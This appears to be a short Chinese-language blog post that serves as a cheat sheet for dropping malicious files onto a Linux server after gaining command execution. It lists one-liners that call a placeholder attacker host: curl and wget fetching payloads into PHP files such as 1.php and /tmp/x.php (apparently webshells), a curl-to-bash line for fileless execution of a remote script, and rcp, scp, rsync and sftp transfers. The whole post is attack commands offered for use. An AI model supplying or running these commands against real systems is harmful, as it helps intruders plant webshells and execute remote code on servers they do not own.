Linux命令执行上传恶意文件总结

0x01 curl

写文件

1
curl -fsSL http://x.x.x.x:8080/test.txt > 1.php

无文件执行命令

1
curl -fsSL http://x.x.x.x:8080/test.sh | bash

0x02 wget

1
wget http://x.x.x.x:8080/shell.txt -O /tmp/x.php

0x03 rcp

1
rcp [email protected]:./testfile testfile

0x04 scp

1
scp username@servername:/path/filename /tmp/filename

0x05 rsync

1
rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt

0x06 sftp

1
2
3
4
sftp [email protected] <<EOF
get /tmp/2.txt
quit
EOF

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!